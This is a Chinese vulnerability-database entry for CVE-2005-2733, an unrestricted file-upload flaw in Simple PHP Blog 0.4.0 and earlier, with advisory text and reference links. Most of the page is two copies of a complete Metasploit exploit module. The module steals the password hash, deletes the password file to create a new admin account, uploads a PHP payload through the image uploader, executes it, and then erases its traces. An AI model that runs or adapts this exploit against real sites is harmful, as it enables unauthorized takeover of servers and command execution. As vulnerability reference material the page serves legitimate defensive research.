CVE-2005-2733
CVSS7.5
发布时间 :2005-08-30 07:45:00
修订时间 :2016-10-17 23:29:56
NMCOEP    

[原文]upload_img_cgi.php in Simple PHP Blog (SPHPBlog) does not properly restrict file extensions of uploaded files, which could allow remote attackers to execute arbitrary code.


[CNNVD]Simple PHP Blog多个远程安全漏洞(CNNVD-200508-308)

        Simple PHP Blog是一款基于PHP的BLOG程序。
        Simple PHP Blog实现上存在多个安全漏洞,远程攻击者可能利用这些漏洞获取Blog系统的敏感作息或以WEB进程执行任意命令。一个漏洞是Blog系统对存放了敏感信息的config.txt及password.txt文件没有做什么访问控制,攻击者可以通过Web任意下载这些文件,从而泄露Blog的配置信息和帐号名及口令HASH。另一个漏洞是Blog的用于上传图片的脚本upload_img_cgi.php没有正确检查上传文件的类型,远程攻击者可以上传PHP脚本,从而在服务器上以Web进程权限执行任意命令。

- CVSS (基础分值)

CVSS分值: 7.5 [严重(HIGH)]
机密性影响: [--]
完整性影响: [--]
可用性影响: [--]
攻击复杂度: [--]
攻击向量: [--]
身份认证: [--]

- CPE (受影响的平台与产品)

产品及版本信息(CPE)暂不可用

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-2733
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2005-2733
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200508-308
(官方数据源) CNNVD

- 其它链接及资源

http://marc.info/?l=bugtraq&m=112511159821143&w=2
(UNKNOWN)  BUGTRAQ  20050826 Simple PHP Blog File Upload and User Credentials Exposure Vulnerabilities
http://www.securityfocus.com/bid/14667
(UNKNOWN)  BID  14667
http://xforce.iss.net/xforce/xfdb/22012
(UNKNOWN)  XF  simple-php-uploadimgcgi-file-upload(22012)

- 漏洞信息

Simple PHP Blog多个远程安全漏洞
高危 输入验证
2005-08-30 00:00:00 2005-10-20 00:00:00
远程  
        Simple PHP Blog是一款基于PHP的BLOG程序。
        Simple PHP Blog实现上存在多个安全漏洞,远程攻击者可能利用这些漏洞获取Blog系统的敏感作息或以WEB进程执行任意命令。一个漏洞是Blog系统对存放了敏感信息的config.txt及password.txt文件没有做什么访问控制,攻击者可以通过Web任意下载这些文件,从而泄露Blog的配置信息和帐号名及口令HASH。另一个漏洞是Blog的用于上传图片的脚本upload_img_cgi.php没有正确检查上传文件的类型,远程攻击者可以上传PHP脚本,从而在服务器上以Web进程权限执行任意命令。

- 公告与补丁

        目前厂商还没有提供补丁或者升级程序,建议使用此软件的用户随时关注厂商的主页以获取最新版本:
        http://www.simplephpblog.com/index.php

- 漏洞信息 (16883)

Simple PHP Blog <= 0.4.0 Remote Command Execution (EDBID:16883)
php webapps
2010-07-25 Verified
0 metasploit
N/A [点击下载]
##
# $Id: sphpblog_file_upload.rb 9929 2010-07-25 21:37:54Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking

	include Msf::Exploit::Remote::HttpClient

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Simple PHP Blog <= 0.4.0 Remote Command Execution',
			'Description'    => %q{
					This module combines three separate issues within The Simple PHP Blog (<= 0.4.0)
				application to upload arbitrary data and thus execute a shell. The first
				vulnerability exposes the hash file (password.txt) to unauthenticated users.
				The second vulnerability lies within the image upload system provided to
				logged-in users; there is no image validation function in the blogger to
				prevent an authenticated user from uploading any file type. The third
				vulnerability occurs within the blog comment functionality, allowing
				arbitrary files to be deleted.
			},
			'Author'         => [ 'Matteo Cantoni <goony[at]nothink.org>', 'patrick' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 9929 $',
			'References'     =>
				[
					['CVE', '2005-2733'],
					['OSVDB', '19012'],
					['BID', '14667'],
					['URL', 'http://www.milw0rm.com/exploits/1191'],
				],
			'Privileged'     => false,
			'Payload'        =>
				{
					'DisableNops' => true,
					'Compat'      =>
						{
							'ConnectionType' => 'find',
						},
					'Space'       => 1024,
				},
			'Platform'       => 'php',
			'Arch'           => ARCH_PHP,
			'Targets'        => [[ 'Automatic', { }]],
			'DisclosureDate' => 'Aug 25 2005',
			'DefaultTarget'  => 0))

		register_options(
			[
				OptString.new('URI', [true, "Sphpblog directory path", "/sphpblog"]),
			], self.class)
	end

	def check
		res = send_request_raw({
			'uri'     => datastore['URI'] + '/index.php'
		}, 25)

		if (res and res.body =~ /Simple PHP Blog (\d)\.(\d)\.(\d)/)

			ver = [ $1.to_i, $2.to_i, $3.to_i ]
			print_status("Simple PHP Blog #{ver.join('.')}")

			if (ver[0] == 0 and ver[1] < 5)
				if (ver[1] == 4 and ver[2] > 0)
					return Exploit::CheckCode::Safe
				end
				return Exploit::CheckCode::Vulnerable
			end
		end

		return Exploit::CheckCode::Safe
	end

	def retrieve_password_hash(file)

		res = send_request_raw({
			'uri'    => datastore['URI'] + file,
		}, 25)

		if (res and res.message == "OK" and res.body)
			print_status("Successfully retrieved hash: #{res.body}")
			return res.body
		else
			raise RuntimeError.new("Failed to retrieve hash, server may not be vulnerable.")
			return false
		end
	end

	def create_new_password(user, pass)

		res = send_request_cgi({
			'uri'     => datastore['URI'] + '/install03_cgi.php',
			'method'  => 'POST',
			'data'    => "user=#{user}&pass=#{pass}",
		}, 25)

		if (res)
			print_status("Successfully created temporary account.")
		else
			print_error("Unable to create a temporary account!")
		end
	end

	def retrieve_session(user, pass)

		res = send_request_cgi({
			'uri'     => datastore['URI'] + "/login_cgi.php",
			'method'  => 'POST',
			'data'    => "user=#{user}&pass=#{pass}",
		}, 25)

		if (res)
			print_status("Successfully logged in as #{user}:#{pass}")

			if (res.headers['Set-Cookie'] =~ /my_id=(.*)/)
				session = $1
				print_status("Successfully retrieved cookie: #{session}")
				return session
			else
				print_error("Error retrieving cookie!")
			end
		else
			print_error("No response received while logging in.")
		end
	end

	def upload_page(session, dir, newpage, contents)

		boundary = rand_text_alphanumeric(6)

		data = "--#{boundary}\r\nContent-Disposition: form-data; name=\"userfile\"; "
		data << "filename=\"#{newpage}\"\r\nContent-Type: text/plain\r\n\r\n"
		data << contents
		data << "\r\n--#{boundary}--"

		res = send_request_raw({
			'uri'	  => datastore['URI'] + "/upload_img_cgi.php",
			'method'  => 'POST',
			'data'    => data,
			'headers' =>
			{
				'Content-Type'	 => 'multipart/form-data; boundary=' + boundary,
				'Content-Length' => data.length,
				'Cookie'	 => "my_id=#{session}; PHPSESSID=#{session}",
			}
		}, 25)

		if (res)
			print_status("Successfully uploaded #{newpage}")
		else
			print_error("Error uploading #{newpage}")
		end
	end

	def reset_original_password(hash, scriptlocation)

		res = send_request_cgi({
			'uri'	 => datastore['URI'] + scriptlocation,
			'method' => 'POST',
			'data'	 => "hash=" + hash,
		}, 25)

		if (res)
			print_status("Successfully reset original password hash.")
		else
			print_error("Error resetting original password!")
		end
	end

	def delete_file(file)

		delete_path = "/comment_delete_cgi.php?y=05&m=08&comment=.#{file}"

		res = send_request_raw({
			'uri'	=> datastore['URI'] + delete_path,
		}, 25)

		if (res)
			print_status("Successfully removed #{file}")
		else
			print_error("Error removing #{file}!")
		end
	end

	def cmd_shell(cmdpath)
		print_status("Calling payload: #{cmdpath}")

		res = send_request_raw({
			'uri'	=> datastore['URI'] + cmdpath
		}, 25)

	end

	def exploit

		# Define the scripts to be uploaded to aid in exploitation
		cmd_php = '<?php ' + payload.encoded + '?>'

		reset_php = %Q|
		<?php $hash = $_POST['hash'];
		$fp = fopen("../config/password.txt","w");
		fwrite($fp,$hash);
		fpclose($fp);
		?>|

		# Generate some random strings
		cmdscript	= rand_text_alphanumeric(20) + '.php'
		resetscript	= rand_text_alphanumeric(20) + '.php'
		newuser 	= rand_text_alphanumeric(6)
		newpass 	= rand_text_alphanumeric(6)

		# Static files
		directory 	= '/images/'
		cmdpath 	= directory + cmdscript
		resetpath 	= directory + resetscript
		passwdfile 	= '/config/password.txt'

		# Let's do this thing
		hash = retrieve_password_hash(passwdfile)
		delete_file(passwdfile)
		create_new_password(newuser, newpass)
		session = retrieve_session(newuser, newpass)
		upload_page(session, directory, resetscript, reset_php)
		upload_page(session, directory, cmdscript, cmd_php)
		reset_original_password(hash, resetpath)
		delete_file(resetpath)
		cmd_shell(cmdpath)
		delete_file(cmdpath)
	end
end
		

- 漏洞信息 (F82368)

Simple PHP Blog 0.4.0 Command Execution (PacketStormID:F82368)
2009-10-30 00:00:00
Matteo Cantoni  
exploit,arbitrary,shell,php
CVE-2005-2733
[点击下载]

This Metasploit module combines three separate issues within The Simple PHP Blog (versions 0.4.0 and below) application to upload arbitrary data and thus execute a shell. The first vulnerability exposes the hash file (password.txt) to unauthenticated users. The second vulnerability lies within the image upload system provided to logged-in users; there is no image validation function in the blogger to prevent an authenticated user from uploading any file type. The third vulnerability occurs within the blog comment functionality, allowing arbitrary files to be deleted.

##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote

	include Msf::Exploit::Remote::HttpClient

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Simple PHP Blog <= 0.4.0 Remote Command Execution',
			'Description'    => %q{
				This module combines three separate issues within The Simple PHP Blog (<= 0.4.0)
				application to upload arbitrary data and thus execute a shell. The first
				vulnerability exposes the hash file (password.txt) to unauthenticated users.
				The second vulnerability lies within the image upload system provided to
				logged-in users; there is no image validation function in the blogger to
				prevent an authenticated user from uploading any file type. The third
				vulnerability occurs within the blog comment functionality, allowing
				arbitrary files to be deleted.
			},
			'Author'         => [ 'Matteo Cantoni <goony[at]nothink.org>', 'patrick' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision$',
			'References'     =>
				[
					['CVE', '2005-2733'],
					['OSVDB', '19012'],
					['BID', '14667'],
					['URL', 'http://www.milw0rm.com/exploits/1191'],
				],
			'Privileged'     => false,
			'Payload'        =>
				{
					'DisableNops' => true,
					'Compat'      => 
						{
							'ConnectionType' => 'find',
						},
					'Space'       => 1024,
				},
			'Platform'       => 'php',
			'Arch'           => ARCH_PHP,
			'Targets'        => [[ 'Automatic', { }]],
			'DisclosureDate' => 'August 25 2005',
			'DefaultTarget'  => 0))

			register_options(
				[
					OptString.new('URI', [true, "Sphpblog directory path", "/sphpblog"]),
				], self.class)
	end

	def check
		res = send_request_raw({
			'uri'     => datastore['URI'] + '/index.php'
		}, 25)

		if (res and res.body =~ /Simple PHP Blog (\d)\.(\d)\.(\d)/)
			
			ver = [ $1.to_i, $2.to_i, $3.to_i ]
			print_status("Simple PHP Blog #{ver.join('.')}")
			
			if (ver[0] == 0 and ver[1] < 5)
				if (ver[1] == 4 and ver[2] > 0)
					return Exploit::CheckCode::Safe
				end
				return Exploit::CheckCode::Vulnerable
			end
		end

		return Exploit::CheckCode::Safe
	end

	def retrieve_password_hash(file)

		res = send_request_raw({
			'uri'    => datastore['URI'] + file,
		}, 25)
		
		if (res.message == "OK" and res.body)
			print_status("Successfully retrieved hash: #{res.body}")
			return res.body
		else
			print_status("Server may not be vulnerable.")
			return false
		end
	end

	def create_new_password(user, pass)

		res = send_request_cgi({
			'uri'     => datastore['URI'] + '/install03_cgi.php',
			'method'  => 'POST',
			'data'    => "user=#{user}&pass=#{pass}",
		}, 25)

		if (res)
			print_status("Successfully created temporary account.")
		else
			print_status("Error creating our account.")
		end
	end

	def retrieve_session(user, pass)

		res = send_request_cgi({
			'uri'     => datastore['URI'] + "/login_cgi.php",
			'method'  => 'POST',
			'data'    => "user=#{user}&pass=#{pass}",
		}, 25)

		if (res)
			print_status("Successfully logged in as #{user}:#{pass}")

			if (res.headers['Set-Cookie'] =~ /my_id=(.*)/)
				session = $1
				print_status("Successfully retrieved cookie: #{session}")
				return session
			else
				print_status("Error retrieving cookie!")
			end
		else
			print_status("No response from the server.")
		end
	end

	def upload_page(session, dir, newpage, contents)

		boundary = rand_text_alphanumeric(6)
		
		data = "--#{boundary}\r\nContent-Disposition: form-data; name=\"userfile\"; "
		data << "filename=\"#{newpage}\"\r\nContent-Type: text/plain\r\n\r\n"
		data << contents
		data << "\r\n--#{boundary}--"

		res = send_request_raw({
			'uri'	  => datastore['URI'] + "/upload_img_cgi.php",
			'method'  => 'POST',
			'data'    => data,
			'headers' =>
			{
				'Content-Type'	 => 'multipart/form-data; boundary=' + boundary,
				'Content-Length' => data.length,
				'Cookie'	 => "my_id=#{session}; PHPSESSID=#{session}",
			}
		}, 25)

		if (res)
			print_status("Successfully uploaded #{newpage}")
		else
			print_status("Error uploading #{newpage}")
		end
	end

	def reset_original_password(hash, scriptlocation)
		
		res = send_request_cgi({
			'uri'	 => datastore['URI'] + scriptlocation,
			'method' => 'POST',
			'data'	 => "hash=" + hash,
		}, 25)

		if (res)
			print_status("Successfully reset original password hash.")
		else
			print_status("Error resetting original password!")
		end
	end

	def delete_file(file)
		
		delete_path = "/comment_delete_cgi.php?y=05&m=08&comment=.#{file}"

		res = send_request_raw({
			'uri'	=> datastore['URI'] + delete_path,
		}, 25)

		if (res)
			print_status("Successfully removed #{file}")
		else
			print_status("Error removing #{file}!")
		end
	end

	def cmd_shell(cmdpath)
		print_status("Calling payload: #{cmdpath}")

		res = send_request_raw({
			'uri'	=> datastore['URI'] + cmdpath
		}, 25)
		
	end

	def exploit

		# Define the scripts to be uploaded to aid in exploitation
		cmd_php = '<?php ' + payload.encoded + '?>'

		reset_php = %Q|
		<?php $hash = $_POST['hash'];
		$fp = fopen("../config/password.txt","w");
		fwrite($fp,$hash);
		fpclose($fp);
		?>|

		# Generate some random strings
		cmdscript	= rand_text_alphanumeric(20) + '.php'
		resetscript	= rand_text_alphanumeric(20) + '.php'
		newuser 	= rand_text_alphanumeric(6)
		newpass 	= rand_text_alphanumeric(6)

		# Static files
		directory 	= '/images/'
		cmdpath 	= directory + cmdscript 
		resetpath 	= directory + resetscript
		passwdfile 	= '/config/password.txt'

		# Let's do this thing
		hash = retrieve_password_hash(passwdfile)
		delete_file(passwdfile)
		create_new_password(newuser, newpass)
		session = retrieve_session(newuser, newpass)
		upload_page(session, directory, resetscript, reset_php)
		upload_page(session, directory, cmdscript, cmd_php)
		reset_original_password(hash, resetpath)
		delete_file(resetpath)
		cmd_shell(cmdpath)
		delete_file(cmdpath)	
	end
end

    

- 漏洞信息

19012
Simple PHP Blog (SPHPBlog) upload_img_cgi.php Arbitrary File Upload/Execution
Remote / Network Access Input Manipulation
Loss of Integrity
Exploit Public Uncoordinated Disclosure

- 漏洞描述

Simple PHP Blog contains a flaw that may allow a remote attacker to execute arbitrary commands. The issue is due to the upload_img_cgi.php script not properly sanitizing filename extension of uploaded files. This may allow an attacker to upload a PHP file that contains arbitrary code, resulting in a loss of integrity.

- 时间线

2005-08-25 Unknow
Unknow Unknow

- 解决方案

Currently, there are no known upgrades, patches, or workarounds available to correct this issue.

- 相关参考

- 漏洞作者

 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站